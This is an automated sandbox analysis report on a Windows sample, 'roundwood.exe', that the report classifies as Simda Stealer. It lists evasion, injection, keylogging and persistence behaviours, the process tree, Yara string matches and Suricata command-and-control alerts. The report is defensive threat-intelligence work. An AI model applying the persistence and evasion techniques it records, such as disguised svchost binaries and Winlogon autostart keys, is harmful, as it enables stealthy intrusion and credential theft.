Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
roundwood.exe

Overview

General Information

Sample name:roundwood.exe
Analysis ID:1498164
MD5:ce11c26163587185b09cb6720e4f0d76
SHA1:c95a87fc31ee79b9f141fac18dd95f75d8f31fba
SHA256:dc1c6d303002b580188a6d25d471d95d5a001186f85db279aca2e2de98527b92
Tags:exeshiz
Infos:

Detection

Simda Stealer
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Detected unpacking (changes PE section rights)
Detected unpacking (creates a PE file in dynamic memory)
Detected unpacking (overwrites its own PE header)
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected Simda Stealer
AI detected suspicious sample
Allocates memory in foreign processes
Checks if browser processes are running
Contains VNC / remote desktop functionality (version string found)
Contains functionality to behave differently if execute on a Russian/Kazak computer
Contains functionality to capture and log keystrokes
Contains functionality to compare user and computer (likely to detect sandboxes)
Contains functionality to detect sandboxes (registry SystemBiosVersion/Date)
Contains functionality to infect the boot sector
Contains functionality to inject threads in other processes
Creates a thread in another existing process (thread injection)
Creates an autostart registry key pointing to binary in C:\Windows
Creates an undocumented autostart registry key
Drops PE files with benign system names
Drops executables to the windows directory (C:\Windows) and starts them
Found direct / indirect Syscall (likely to bypass EDR)
Found evasive API chain (may stop execution after checking mutex)
Found evasive API chain (may stop execution after checking volume information)
Found evasive API chain checking for user administrative privileges
Found stalling execution ending in API Sleep call
Injects a PE file into a foreign processes
Machine Learning detection for sample
Monitors registry run keys for changes
Moves itself to temp directory
Queries Google from non browser process on port 80
Queries random domain names (often used to prevent blacklisting and sinkholes)
Sigma detected: Files With System Process Name In Unsuspected Locations
Sigma detected: System File Execution Location Anomaly
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to resolve many domain names, but no domain seems valid
Uses known network protocols on non-standard ports
Writes to foreign memory regions
AV process strings found (often used to terminate AV products)
Checks if the current process is being debugged
Connects to many different domains
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to check if a connection to the internet is available
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to communicate with device drivers
Contains functionality to create system tasks
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to record screenshots
Contains functionality to retrieve information about pressed keystrokes
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Entry point lies outside standard sections
Executes massive DNS lookups (> 100)
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found evaded block containing many API calls
Found evasive API chain (might use process or thread times for sandbox detection)
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
PE / OLE file has an invalid certificate
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries the installation date of Windows
Queries the volume information (name, serial number etc) of a device
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: CurrentVersion NT Autorun Keys Modification
Sigma detected: Uncommon Svchost Parent Process
Tries to disable installed Antivirus / HIPS / PFW
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

Process Tree

  • System is w10x64
  • roundwood.exe (PID: 5852 cmdline: "C:\Users\user\Desktop\roundwood.exe" MD5: CE11C26163587185B09CB6720E4F0D76)
    • svchost.exe (PID: 5284 cmdline: "C:\Windows\apppatch\svchost.exe" MD5: B3CAC91D21D93F1989191CE7572B7F7E)
      • oOzTQCDSVNrWDmuGqzFbKRbZs.exe (PID: 4268 cmdline: "C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • WerFault.exe (PID: 1576 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4268 -s 984 MD5: C31336C1EFC2CCB44B4326EA793040F2)
      • oOzTQCDSVNrWDmuGqzFbKRbZs.exe (PID: 4672 cmdline: "C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • WerFault.exe (PID: 7260 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4672 -s 708 MD5: C31336C1EFC2CCB44B4326EA793040F2)
      • oOzTQCDSVNrWDmuGqzFbKRbZs.exe (PID: 6980 cmdline: "C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • WerFault.exe (PID: 5528 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6980 -s 976 MD5: C31336C1EFC2CCB44B4326EA793040F2)
      • oOzTQCDSVNrWDmuGqzFbKRbZs.exe (PID: 6300 cmdline: "C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • WerFault.exe (PID: 5136 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6300 -s 744 MD5: C31336C1EFC2CCB44B4326EA793040F2)
      • oOzTQCDSVNrWDmuGqzFbKRbZs.exe (PID: 6648 cmdline: "C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
      • oOzTQCDSVNrWDmuGqzFbKRbZs.exe (PID: 5168 cmdline: "C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
      • oOzTQCDSVNrWDmuGqzFbKRbZs.exe (PID: 5616 cmdline: "C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
      • oOzTQCDSVNrWDmuGqzFbKRbZs.exe (PID: 2672 cmdline: "C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
      • oOzTQCDSVNrWDmuGqzFbKRbZs.exe (PID: 3436 cmdline: "C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
      • oOzTQCDSVNrWDmuGqzFbKRbZs.exe (PID: 4764 cmdline: "C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
      • oOzTQCDSVNrWDmuGqzFbKRbZs.exe (PID: 3656 cmdline: "C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
      • oOzTQCDSVNrWDmuGqzFbKRbZs.exe (PID: 4460 cmdline: "C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
      • oOzTQCDSVNrWDmuGqzFbKRbZs.exe (PID: 2212 cmdline: "C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
      • oOzTQCDSVNrWDmuGqzFbKRbZs.exe (PID: 2180 cmdline: "C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
      • oOzTQCDSVNrWDmuGqzFbKRbZs.exe (PID: 4444 cmdline: "C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
  • svchost.exe (PID: 7856 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
    • WerFault.exe (PID: 8156 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 4268 -ip 4268 MD5: C31336C1EFC2CCB44B4326EA793040F2)
    • WerFault.exe (PID: 1860 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 4672 -ip 4672 MD5: C31336C1EFC2CCB44B4326EA793040F2)
    • WerFault.exe (PID: 1888 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 6980 -ip 6980 MD5: C31336C1EFC2CCB44B4326EA793040F2)
    • WerFault.exe (PID: 6756 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 6300 -ip 6300 MD5: C31336C1EFC2CCB44B4326EA793040F2)
    • WerFault.exe (PID: 3840 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 6648 -ip 6648 MD5: C31336C1EFC2CCB44B4326EA793040F2)
    • WerFault.exe (PID: 8164 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 5168 -ip 5168 MD5: C31336C1EFC2CCB44B4326EA793040F2)
    • WerFault.exe (PID: 3668 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 5616 -ip 5616 MD5: C31336C1EFC2CCB44B4326EA793040F2)
    • WerFault.exe (PID: 5348 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 2672 -ip 2672 MD5: C31336C1EFC2CCB44B4326EA793040F2)
    • WerFault.exe (PID: 6648 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 3436 -ip 3436 MD5: C31336C1EFC2CCB44B4326EA793040F2)
    • WerFault.exe (PID: 3376 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 4764 -ip 4764 MD5: C31336C1EFC2CCB44B4326EA793040F2)
    • WerFault.exe (PID: 356 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 3656 -ip 3656 MD5: C31336C1EFC2CCB44B4326EA793040F2)
    • WerFault.exe (PID: 5396 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 4460 -ip 4460 MD5: C31336C1EFC2CCB44B4326EA793040F2)
    • WerFault.exe (PID: 3840 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 2212 -ip 2212 MD5: C31336C1EFC2CCB44B4326EA793040F2)
    • WerFault.exe (PID: 7352 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 2180 -ip 2180 MD5: C31336C1EFC2CCB44B4326EA793040F2)
  • svchost.exe (PID: 4068 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000008.00000002.2748593286.0000000000E70000.00000040.00000001.00020000.00000000.sdmpWindows_Trojan_Zeus_e51c60d7Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.unknown
  • 0x49e10:$a1: name=%s&port=%u
  • 0x495a8:$a2: data_inject
  • 0x49798:$a3: keylog.txt
  • 0x4943d:$a4: User-agent: %s]]]
  • 0x49f64:$a5: %s\%02d.bmp
00000017.00000002.2469299462.0000000002920000.00000040.00000001.00020000.00000000.sdmpWindows_Trojan_Zeus_e51c60d7Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.unknown
  • 0x4ac10:$a1: name=%s&port=%u
  • 0x4a3a8:$a2: data_inject
  • 0x4a598:$a3: keylog.txt
  • 0x4a23d:$a4: User-agent: %s]]]
  • 0x4ad64:$a5: %s\%02d.bmp
00000002.00000003.2418070085.0000000003A40000.00000004.00001000.00020000.00000000.sdmpWindows_Trojan_Zeus_e51c60d7Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.unknown
  • 0x48c10:$a1: name=%s&port=%u
  • 0x483a8:$a2: data_inject
  • 0x48598:$a3: keylog.txt
  • 0x4823d:$a4: User-agent: %s]]]
  • 0x48d64:$a5: %s\%02d.bmp
00000002.00000003.2471833561.0000000003A40000.00000004.00001000.00020000.00000000.sdmpWindows_Trojan_Zeus_e51c60d7Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.unknown
  • 0x48c10:$a1: name=%s&port=%u
  • 0x483a8:$a2: data_inject
  • 0x48598:$a3: keylog.txt
  • 0x4823d:$a4: User-agent: %s]]]
  • 0x48d64:$a5: %s\%02d.bmp
0000000F.00000002.2451003879.0000000000900000.00000040.00000001.00020000.00000000.sdmpWindows_Trojan_Zeus_e51c60d7Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.unknown
  • 0x4ac10:$a1: name=%s&port=%u
  • 0x4a3a8:$a2: data_inject
  • 0x4a598:$a3: keylog.txt
  • 0x4a23d:$a4: User-agent: %s]]]
  • 0x4ad64:$a5: %s\%02d.bmp
Click to see the 94 entries

Unpacked PEs

SourceRuleDescriptionAuthorStrings
19.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.1452000.2.unpackWindows_Trojan_Zeus_e51c60d7Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.unknown
  • 0x47a10:$a1: name=%s&port=%u
  • 0x471a8:$a2: data_inject
  • 0x47398:$a3: keylog.txt
  • 0x4703d:$a4: User-agent: %s]]]
  • 0x47b64:$a5: %s\%02d.bmp
2.3.svchost.exe.3a40000.38.unpackWindows_Trojan_Zeus_e51c60d7Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.unknown
  • 0x47a10:$a1: name=%s&port=%u
  • 0x471a8:$a2: data_inject
  • 0x47398:$a3: keylog.txt
  • 0x4703d:$a4: User-agent: %s]]]
  • 0x47b64:$a5: %s\%02d.bmp
2.3.svchost.exe.3a40000.18.unpackWindows_Trojan_Zeus_e51c60d7Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.unknown
  • 0x47a10:$a1: name=%s&port=%u
  • 0x471a8:$a2: data_inject
  • 0x47398:$a3: keylog.txt
  • 0x4703d:$a4: User-agent: %s]]]
  • 0x47b64:$a5: %s\%02d.bmp
12.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.14b0000.3.raw.unpackWindows_Trojan_Zeus_e51c60d7Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.unknown
  • 0x49e10:$a1: name=%s&port=%u
  • 0x495a8:$a2: data_inject
  • 0x49798:$a3: keylog.txt
  • 0x4943d:$a4: User-agent: %s]]]
  • 0x49f64:$a5: %s\%02d.bmp
38.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2900000.3.raw.unpackWindows_Trojan_Zeus_e51c60d7Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.unknown
  • 0x49e10:$a1: name=%s&port=%u
  • 0x495a8:$a2: data_inject
  • 0x49798:$a3: keylog.txt
  • 0x4943d:$a4: User-agent: %s]]]
  • 0x49f64:$a5: %s\%02d.bmp
Click to see the 167 entries

Sigma Signatures

System Summary

barindex
Sigma detected: Files With System Process Name In Unsuspected Locations
Source: File createdAuthor: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\roundwood.exe, ProcessId: 5852, TargetFilename: C:\Windows\apppatch\svchost.exe
Sigma detected: System File Execution Location Anomaly
Source: Process startedAuthor: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: "C:\Windows\apppatch\svchost.exe", CommandLine: "C:\Windows\apppatch\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\apppatch\svchost.exe, NewProcessName: C:\Windows\apppatch\svchost.exe, OriginalFileName: C:\Windows\apppatch\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\roundwood.exe", ParentImage: C:\Users\user\Desktop\roundwood.exe, ParentProcessId: 5852, ParentProcessName: roundwood.exe, ProcessCommandLine: "C:\Windows\apppatch\svchost.exe", ProcessId: 5284, ProcessName: svchost.exe
Sigma detected: CurrentVersion Autorun Keys Modification
Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Windows\apppatch\svchost.exe, EventID: 13, EventType: SetValue, Image: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe, ProcessId: 4268, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\userinit
Sigma detected: CurrentVersion NT Autorun Keys Modification
Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Windows\system32\userinit.exe,C:\Windows\apppatch\svchost.exe,, EventID: 13, EventType: SetValue, Image: C:\Windows\apppatch\svchost.exe, ProcessId: 5284, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\userinit
Sigma detected: Uncommon Svchost Parent Process
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\apppatch\svchost.exe", CommandLine: "C:\Windows\apppatch\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\apppatch\svchost.exe, NewProcessName: C:\Windows\apppatch\svchost.exe, OriginalFileName: C:\Windows\apppatch\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\roundwood.exe", ParentImage: C:\Users\user\Desktop\roundwood.exe, ParentProcessId: 5852, ParentProcessName: roundwood.exe, ProcessCommandLine: "C:\Windows\apppatch\svchost.exe", ProcessId: 5284, ProcessName: svchost.exe
Sigma detected: Windows Processes Suspicious Parent Directory
Source: Process startedAuthor: vburov: Data: Command: "C:\Windows\apppatch\svchost.exe", CommandLine: "C:\Windows\apppatch\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\apppatch\svchost.exe, NewProcessName: C:\Windows\apppatch\svchost.exe, OriginalFileName: C:\Windows\apppatch\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\roundwood.exe", ParentImage: C:\Users\user\Desktop\roundwood.exe, ParentProcessId: 5852, ParentProcessName: roundwood.exe, ProcessCommandLine: "C:\Windows\apppatch\svchost.exe", ProcessId: 5284, ProcessName: svchost.exe

Suricata Signatures

Timestamp:2024-08-23T18:42:19.845636+0200
SID:2803437
Severity:1
Source Port:49724
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:19.845636+0200
SID:2804852
Severity:1
Source Port:49724
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:44:06.016069+0200
SID:2803437
Severity:1
Source Port:50853
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:44:06.016069+0200
SID:2804852
Severity:1
Source Port:50853
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:06.834133+0200
SID:2803437
Severity:1
Source Port:63517
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:06.834133+0200
SID:2804852
Severity:1
Source Port:63517
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:12.965416+0200
SID:2803437
Severity:1
Source Port:49712
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:12.965416+0200
SID:2804852
Severity:1
Source Port:49712
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:29.703955+0200
SID:2803437
Severity:1
Source Port:62686
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:29.703955+0200
SID:2804852
Severity:1
Source Port:62686
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:35.057591+0200
SID:2803437
Severity:1
Source Port:59536
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:35.057591+0200
SID:2804852
Severity:1
Source Port:59536
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:44:05.672351+0200
SID:2803437
Severity:1
Source Port:50852
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:44:05.672351+0200
SID:2804852
Severity:1
Source Port:50852
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:47.523223+0200
SID:2803437
Severity:1
Source Port:50842
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:47.523223+0200
SID:2804852
Severity:1
Source Port:50842
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:14.285919+0200
SID:2803437
Severity:1
Source Port:49719
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:14.285919+0200
SID:2804852
Severity:1
Source Port:49719
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:13.792588+0200
SID:2803437
Severity:1
Source Port:49707
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:13.792588+0200
SID:2804852
Severity:1
Source Port:49707
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:12.841493+0200
SID:2803437
Severity:1
Source Port:49709
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:12.841493+0200
SID:2804852
Severity:1
Source Port:49709
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:03.463861+0200
SID:2021022
Severity:1
Source Port:53
Destination Port:62838
Protocol:UDP
Classtype:A Network Trojan was detected
Timestamp:2024-08-23T18:43:03.806190+0200
SID:2021022
Severity:1
Source Port:53
Destination Port:63695
Protocol:UDP
Classtype:A Network Trojan was detected
Timestamp:2024-08-23T18:43:37.247409+0200
SID:2804852
Severity:1
Source Port:59543
Destination Port:443
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:14.780163+0200
SID:2804852
Severity:1
Source Port:49721
Destination Port:443
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:46.293135+0200
SID:2021022
Severity:1
Source Port:53
Destination Port:50088
Protocol:UDP
Classtype:A Network Trojan was detected
Timestamp:2024-08-23T18:43:06.931526+0200
SID:2803437
Severity:1
Source Port:63518
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:06.931526+0200
SID:2804852
Severity:1
Source Port:63518
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:37.767067+0200
SID:2803437
Severity:1
Source Port:59544
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:37.767067+0200
SID:2804852
Severity:1
Source Port:59544
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:44:06.377470+0200
SID:2803437
Severity:1
Source Port:50851
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:44:06.377470+0200
SID:2804852
Severity:1
Source Port:50851
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:12.933029+0200
SID:2018141
Severity:1
Source Port:80
Destination Port:49711
Protocol:TCP
Classtype:A Network Trojan was detected
Timestamp:2024-08-23T18:42:12.933029+0200
SID:2037771
Severity:1
Source Port:80
Destination Port:49711
Protocol:TCP
Classtype:A Network Trojan was detected
Timestamp:2024-08-23T18:42:12.784899+0200
SID:2803437
Severity:1
Source Port:49708
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:12.784899+0200
SID:2804852
Severity:1
Source Port:49708
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:13.180850+0200
SID:2803437
Severity:1
Source Port:49715
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:13.180850+0200
SID:2804852
Severity:1
Source Port:49715
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:35.027705+0200
SID:2803437
Severity:1
Source Port:59532
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:35.027705+0200
SID:2804852
Severity:1
Source Port:59532
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:03.648757+0200
SID:2021022
Severity:1
Source Port:53
Destination Port:62631
Protocol:UDP
Classtype:A Network Trojan was detected
Timestamp:2024-08-23T18:43:35.103902+0200
SID:2803437
Severity:1
Source Port:59528
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:35.103902+0200
SID:2804852
Severity:1
Source Port:59528
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:14.726822+0200
SID:2803437
Severity:1
Source Port:49719
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:14.726822+0200
SID:2804852
Severity:1
Source Port:49719
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:24.303230+0200
SID:2803437
Severity:1
Source Port:49717
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:24.303230+0200
SID:2804852
Severity:1
Source Port:49717
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:07.276878+0200
SID:2803437
Severity:1
Source Port:63519
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:07.276878+0200
SID:2804852
Severity:1
Source Port:63519
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:13.059217+0200
SID:2803437
Severity:1
Source Port:49715
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:42:13.059217+0200
SID:2804852
Severity:1
Source Port:49715
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:07.701206+0200
SID:2803437
Severity:1
Source Port:63521
Destination Port:80
Protocol:TCP
Classtype:Malware Command and Control Activity Detected
Timestamp:2024-08-23T18:43:07.701206+0200
SID:2804852
Severity:1
Source Port:63521
Destination Port:80
Protocol:TCP
